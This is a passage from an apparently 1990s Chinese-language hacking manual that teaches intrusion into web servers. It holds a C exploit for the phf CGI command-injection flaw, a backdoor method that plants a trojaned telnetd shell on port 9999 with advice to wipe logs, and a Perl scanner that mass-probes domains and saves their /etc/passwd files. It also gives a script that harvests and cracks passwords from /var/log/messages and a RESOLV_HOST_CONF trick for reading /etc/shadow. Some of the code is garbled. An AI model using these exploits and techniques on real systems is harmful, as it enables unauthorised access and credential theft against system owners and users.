int main(argc, argv) int argc; char **argv; { int i = 0, s, port, bytes = 128; char exploit[0xff], buffer[128], hostname[256], *command, j[2]; struct sockaddr_in sin; struct hostent *he; if (argc != 3 && argc != 4) { fprintf(stderr, "Usage: %s command hostname [port]", argv[0]); exit(1); }
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1] != '') { if (argv[1] == 32) strcat(command, "%20"; else { sprintf(j, "%c", argv[1]); strcat(command, j); } ++i; }
strcpy(hostname, argv[2]); if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) { he = gethostbyname(hostname); if (he) { sin.sin_family = he->h_addrtype; memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], he->h_length); } else { fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname); exit(1); } } sin.sin_family = AF_INET; sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) { fprintf(stderr, "%s: could not get socket\n", argv[0]); exit(1); }
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) { close(s); fprintf(stderr, "%s: could not establish connection\n", argv[0]); exit(1); }
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command); free(command); write(s, exploit, strlen(exploit)); while(bytes == 128) { bytes = read(s, buffer, 128); fprintf(stdout, buffer); } close(s); }
-------- cut here
使用举例:
bash% phf id xxx.org
------ <H1>Query Results</H1> <P> /usr/local/bin/ph -m alias=X id <PRE> uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup) </GET /cgi-bin/phf/?Qalias=X%0aid ------ 以上是系统对程序的响应。再说一次,使用%20代替命令行中的空格符。 使用如下格式可显示passwd档: phf cat%20/etc/passwd hostname.xxx
另外,Quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家了解一下。
内容如下:
Phf 查询攻击新方法
是的。我知道phf攻击已经是众所周知了,但你会奇怪为什麽还有那麽多笨的LINUX用户。。。
首先...先介绍一下背景:
phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷,其後果是允许任何人以运行http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一缺陷,只需简单地连接了该WEB服务器,并执行以下查询:
GET /cgi-bin/phf/?Qalias=X%0a
其後跟着你所希望运行的命令(用%20代替空格符)。
OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。(我经常telnet到issue.net查找。)和大多数人一样,我使用Loxsmith编写的phf程序该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:
phf id h++p://www.host.to.hack/
这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv中;接着就是在/etc/inetd.conf中必须有shell行;最後,在用户(test)根目录下建立含有目标主机名和httpd用户的.rhost文件。如下:
/etc/hosts.equiv: h++p://www.host.to.hack/
/etc/inetd.conf: shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L
~test/.rhosts: h++p://www.host.to.hack/ nobody
好。一旦一切都设置好了,便可以从远程主机上获取资料了。
我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法被传送的是一个经过修改的in.telnetd,它被改为在「debug」方式下启动,「debug」方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。该in.telnetd允许在端口9999接受任意多的连接和执行shell。
因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录, 并确保可读。然後执行:
在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:rcp -fbindwarez)...当phf执行完後,bindwarez会被复制到远程主机上的/tmp目录下,於是你便可以执行这个文件并远程登录到端口9999。
如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能获得nobody权限,需要通过系统的其它漏洞去「黑」root用户。我常常发现这并不困难,因为系统管理员往往认为没有人会在WWW服务器上运行shell,因而没有必要设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。
在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。 最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。 另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。
这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-)) L8s
QuantumG
另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用 getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。 脚本内容如下:
geturl.pl --------- cut here
#!/usr/bin/perl -w # # geturl by Nfin8 / Invisible Evil # Questions to: /msg i-e or /msg i^e # # Format of h++p://website.dom/cgi-bin/phf?Qalias=x/usr/bin/id # Format of h++p://website.dom/cgi-bin/phf?Qali...cat+/etc/passwd # IF result of first command returns an "id=" then check for user. If user # is not root then execute the 2nd form.
# Assign null list to @URLs which will be added to later. my(@URLs)=(); my($program) = "lynx -dump";
# Pull off filename from commandline. If it isn't defined, then assign default. my($URLfilename) = shift; $URLfilename = "urls" if !defined($URLfilename);
# Do checking on input. die("GetURL: $URLfilename is a directory.\n" if (-d $URLfilename);
# Open and read contents of URL file into @URL by line. open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n"; @URLs = <FILE>; close(FILE);
# Open output file. open(OUTFILE, ">>GetURLResults" or die("GetURL: Cannot open output file.\n";
|
my($url)=""; foreach $url (@URLs) { print ("Now checking: $url"; chomp($url); $result = `$program h++p://$/cgi-bin/phf?Qalias=x/usr/bin/id`; print OUTFILE ("\n============ $url ============\n"; foreach (split(/\n/, $result)) { print OUTFILE ("$_\n"; } if ($result =~ m/id=/i) { if ($result =~ m/root/i) { print ("Logging root response.\n"; } else { print ("Got ID response, getting /etc/passwd..."; $result = `$program h++p://$/cgi-bin/phf?Qalias=x/bin/cat+/etc/passwd`; # Output results to file named <domain>.passwd; local($domainfilename)=""; $domainfilename = $url; if (open(PASSWDFILE, ">$.passwd") { print PASSWDFILE ("\n"; foreach (split(/\n/, $result)) { print PASSWDFILE ("$_\n"; } close(PASSWDFILE); print ("Done! [$domainfilename].\n"; } else { print ("FAILED! [$domainfilename].\n"; } } } }
# We are done. Close the output file and end the program. close (OUTFILE);
0; ------------- cut here
OK。这很简单吧。如果你定义了自己的域名文件urls,也可以使用geturl.pl。
以下是脚本文件说明:
这个轻巧的工具非常容易使用。它可以帮助你取得root用户权限和从不同的domain获取passwd密码档。
geturl.pl试图记录Internet上每台domain对phf的响应结果。你可以选择.com .edu.org .mil .gov或是需要探测的IP地址列表。一旦发现具有root权限的用户,便在结果文件中记录uid=root,然後继续探测下一台domain。如果phf探测器找到的用户没有root权限,它就会读取该domain上的passwd密码档,并在当前目录下以domain.???.passwd文件名保存。
以下是此工具的使用说明:
ftp到rs.internic.net站点
在domain目录下寻找:
com.zone.gz edu.zone.gz gov.zone.gz mil.zone.gz net.zone.gz org.zone.gz
下载这些文件并对目标主机所属域名文件运行getdomain.pl,如:
perl getdomain.pl com.zone com >com.all
该脚本会分析出.com域的所有主机名并输出到文件com.all中。
如果希望分析.edu域,输入:
perl getdomain.pl edu.zone edu >edu.all
你便会有一个供geturl.pl使用的文件edu.all。
使用geturl.pl的格式如下:
geturl.pl <filename>
用edu.all或com.all代替<filename> 如果你定义了域名文件urls,运行geturl.pl时不需<filename>。
运行结果被记录到当前目录下的GetURLResults文件中。
1. geturl.pl使用lynx进行搜索(lynx要在查找路径中)。
2. 如果geturl.pl发现在一个url的httpd上获得了root权限,就会记录该root用户。 如果http用户不是root,但该用户具有在http上执行phf权限,就会抓取该domain的passwd档,并以fulldomainname.passwd的文件保存到当前目录下。
3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。
4. 我使用的是OS/2的lynx和perl,在长文件名方面没有遇到问题。我在UNIX机进行了测试,该程序也可以正常工作。
你需要:
1. Perl在查找路径中 2. Lynx在查找路径中 3. 长文件名(256字符)支持(如UNIX或OS/2) 4. 本文所列出和包含的所有文件 5. 从Internic站点下载的域名文件或自行制作的url或IP列表文件(取名为urls, 运行时仅输入geturl.pl)
注意事项:
如果你有一个现金付费的互联网帐号或通过hack而得到的帐号使用此工具来获取成果,那就最好了。然後便可以用另一个安全的帐号使用你的劳动成果了。但我并不必警告你这些,对吧?我对这些工具并不觉得羞耻。这里提供的工具是让你们检查domain的安全性。;-)
getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件 geturl.pl: 检测并记录每一台domain的响应结果 GetURLResults: geturl.pl程序的结果记录文件
这里还有另外一种方法:
如果你能读取/var/adm/messages文件,或许你能轻而易举地得到一些用户的密码! 我曾经采用这种方法获得过root用户的密码!
还记得有多少次你是急着登录的吗?你可能因此而在login:里输入了密码:这种事情是很容易发生的。这样你就会出现两次登录失败,系统就在这个时候胡所动作了。 例如:(假设你很急着登录而没有留意屏幕)
Login: (你踺入回车(而你此时并不知道)) Password: (你以为现在开始登录了,便输入用户名) Login: (然後输入用户密码)
此时系统会在messages文件中产生如下记录:
Login: (这里是你的用户密码!!!) Password ****** (系统当然不会给你看见密码了!?但由於你在Login:处输入了 用户密码,只要我们有读取messages文件的权限,就会得到用户密码,并供crackerjack 运行(以找出对应的用户)。如果是在一个小型系统,或许...就是root密码!;-))
以上这些工作可以由以下脚本轻易完成! 对於Quantum的bindwarez文件,你可以在附录中找到。 ------------ cut here
#!/bin/sh # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0) # /var/log/messages is world readable. If a user types in his password at # the login prompt, it may get logged to /var/log/messages. # # I could swear this topic has been beaten to death, but I still see this # problem on every linux box I have access to. # # Dave G. # 12/06/96 # <daveg@escape.com> # h++p://www.escape.com/~daveg
echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$ grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
if [ ! -e ./scrack ] then echo "Creating scrack.c" cat << ! > scrack.c #include <stdio.h> #include <unistd.h> #include <pwd.h> #include <sys/types.h> #define get_salt( d, s ) strncpy( d, s, 2 ) void main(argc,argv) int argc; char **argv; { struct passwd *pwd; FILE *fp; char buff[80], salt[3], *encrypted_string;
if ( ( fp = fopen( argv[1], "r" ) ) == NULL ) { fprintf( stderr, "Couldnt find dict file\n" ); exit(1); } while ( fgets( buff, 80, fp ) != NULL ) { setpwent(); buff[strlen(buff)-1]=''; while ( ( pwd = getpwent() ) != NULL ) { if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 && ( strlen( (*pwd).pw_passwd ) == 13 ) ) { get_salt(salt, (*pwd).pw_passwd );
encrypted_string = crypt( buff, salt ); if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 ) { fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff); fflush(stdout); } } } } } ! echo "Creating scrack" cc -O6 -fomit-frame-pointer -s -o scrack scrack.c fi
./scrack /tmp/messages.dict.$$
echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.
------ cut here --------------------------------------------------------------------------------
从新手处获取
好。重复一次,这是获取密码的另一种方法。只要按照第二章所谈到的相关 内容去做就行了。运用你的智慧去与那些尚未成熟的「新手」交朋友吧。;-)
对了。在阅读本手册前,你可能曾经也是别人的「新手」朋友呢!;-) --------------------------------------------------------------------------------
获取shadow密码档
什麽是shadow密码档呢?
举个例子,如果你利用上述方法取回来的passwd档,其内容如下:
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: adm:x:3:4:adm:/var/adm: lp:x:4:7:lp:/var/spool/lpd: sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail: news:x:9:13:news:/usr/lib/news: uucp:x:10:14:uucp:/var/spool/uucppublic: operator:x:11:0perator:/root:/bin/bash games:x:12:100:games:/usr/games: man:x:13:15:man:/usr/man: postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash nobody:x:-2:100:nobody:/dev/null: ftp:x:404:1::/home/ftp:/bin/bash guest:x:405:100:guest:/dev/null:/dev/null bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash web:x:502:100:Web Master:/home/web:/bin/bash mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash
是不是少了点东西?噢,被加密的密码。如果你有root权限,就会在/etc/shadow中找到这些被加密的密码。某些系统管理员会将shadow档隐藏到其他隐蔽的目录下。但多数情况下,你可以在/etc目录下找到。有一些shadow程序会将密码保存到master.passwd文件中。但只要你有root权限,总有地方可以找到它。
现在,假设你有一个有效帐号,但没有root权限。
如果主机使用的是libc5.4.7(多数系统都使用它 ;-) ),而且下列文件之一要求 必须有suid权限:
ping, traceroute, rlogin, or, ssh
1. 输入bash或sh以启动一个bash shell 2. 输入: export RESOLV_HOST_CONF=/etc/shadow 3. 输入以上文件名之一,并加上asdf参数,如:
ping asdf
如果一切正常,你就会得到shadow密码档。 这个方法对於我这几天在许多系统中进行的测试均很有效。
注:你可用所希望读取的文件名(文件拥有者是root)来取代/etc/shadow。
以下脚本可以让你轻而易举地读取所需要的文件:
rcb.c -------- cut here
/* RCB Phraser - therapy in '96 * Limits: Linux only, no binary files. * little personal message to the world: FUCK CENSORSHIP! */
#include <stdio.h>
void getjunk(const char *filetocat) { setenv("RESOLV_HOST_CONF",filetocat,1); system("ping xy 1> /dev/null 2> phrasing"; unsetenv("RESOLV_HOST_CONF"; }
void main(argc,argv) int argc; char **argv; { char buffer[200]; char *gag; FILE *devel;
if((argc==1) || !(strcmp(argv[1],"-h") || !(strcmp(argv[1],"--help")) { printf("RCB Phraser - junked by THERAPY\n\n"; printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]); exit(1); } getjunk(argv[1]); gag=buffer; gag+=10; devel=fopen("phrasing","rb"; while(!feof(devel)) { fgets(buffer,sizeof(buffer),devel); if(strlen(buffer)>24) { strcpy(buffer+strlen(buffer)-24,"\n"; fputs(gag,stdout); } } fclose(devel); remove("phrasing"; }
-------------- cut here 命令行:rcb /etc/shadow (或其他你在这个系统中不能读取的文件。;-) ) --------------------------------------------------------------------------------获取/etc/hosts档需要注意的是,有时你需要知道有哪些系统在hosts文件中,或在这个系统中有哪些其他domain和所有的IP地址,因此,不要忘了读取/etc/hosts文件以获得以後你可能需要的资料
|
|